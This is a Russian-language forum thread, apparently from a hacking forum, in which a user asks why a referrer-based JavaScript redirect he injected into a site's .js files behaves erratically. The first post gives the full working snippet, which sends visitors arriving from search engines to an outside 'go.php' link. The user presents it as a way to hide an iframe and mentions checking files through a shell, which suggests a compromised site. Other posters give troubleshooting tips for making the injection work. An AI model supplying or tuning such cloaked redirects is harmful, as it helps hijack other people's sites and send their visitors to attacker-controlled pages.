Поясните по Java редиректу

Discussion in 'PHP' started by CHEBURNATOR, 9 Jun 2015.

  1. CHEBURNATOR

    CHEBURNATOR New Member

    Joined:
    9 May 2015
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Добрый день форумчане.
    Поясните пожалуйста по java-редиректу.
    Задача: поставить ява-редирект вида
    Code:
    function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location="http://xxx.ru/go.php?sid=1"</s'+'cript>')}else{document.write('.')}}R();
    в .js файл, который подключается на главной странице. Посчитал что такой способ сокрытия ифрейма самый действенный.
    Что получилось: код вставил, но вчера он у меня работать никак не хотел. Если вставлять код в тегах <script> на главной странице, то все работает, значит код рабочий. Вставлял в разные ява файлы, нигде работать не хотел. Сегодня с утра захожу - работает! Я обрадовался, давай искать где сработал. Удалял по одному из разных файлов, ожидая что работать перестанет. В итоге удалил все коды - а редирект продолжает работать!
    Вопрос: собственно как так? Ява скрипты что, работают с суточным запозданием? Поясните если не сложно.

    P.S>скрипты действительно все удалил, проверял поиском в шелле, скриптов нет. но работает...
     
    #1 CHEBURNATOR, 9 Jun 2015
    Last edited: 9 Jun 2015
  2. funny_kaplan

    funny_kaplan New Member

    Joined:
    28 Mar 2013
    Messages:
    43
    Likes Received:
    4
    Reputations:
    0
    Вставь код в один из скриптов, что подключается на страницах, в то место, где он точно не нарушит логику работы основного JS скрипта. Переходи с поисковиков при тесте и очисти кэш браузера)
     
    CHEBURNATOR likes this.
  3. off

    off Banned

    Joined:
    21 Aug 2006
    Messages:
    55
    Likes Received:
    37
    Reputations:
    6
    Java !== JavaScript
     
    winstrool likes this.
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Почисти кеш браузера
     
    CHEBURNATOR likes this.
  5. CHEBURNATOR

    CHEBURNATOR New Member

    Joined:
    9 May 2015
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Вчера специально чтобы перебрасывало на yandex.ru, вчера весь день не перебрасывало, сегодня перебрасывает.
    Сейчас только что спецом установил отдельный браузер почистил все куки - все равно та же песня.
    Ну да ладно, главное код срабатывает, правда непонятно почему все начинает работать на сутки позже.
    Еще вопрос, если не сложно - при срабатывании кода, сначала загружается сайт на котором стоит код, а только потом уже переброс на мой сайт.
    Это нормально?
    Пауз в коде не выставлял, да и сам код пихаю в начало первого ява скрипта. По идее все должно быть максимально быстро.

    Не сложно пояснить что вы имели ввиду?
    Гугл скудно отвечает что Java и Javasript не одно и тоже, на этом разъяснения заканчиваются.
    Не очень понял как это поможет моей ситуации

    P.S>покопался еще, я так понимаю с помощью данной команды мы можем указать системе что Ява и Ява скрипт должны быть одним и тем же?
     
    #5 CHEBURNATOR, 10 Jun 2015
    Last edited: 10 Jun 2015
  6. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    140
    Reputations:
    4
    java и javascript это 2 разных языка программирования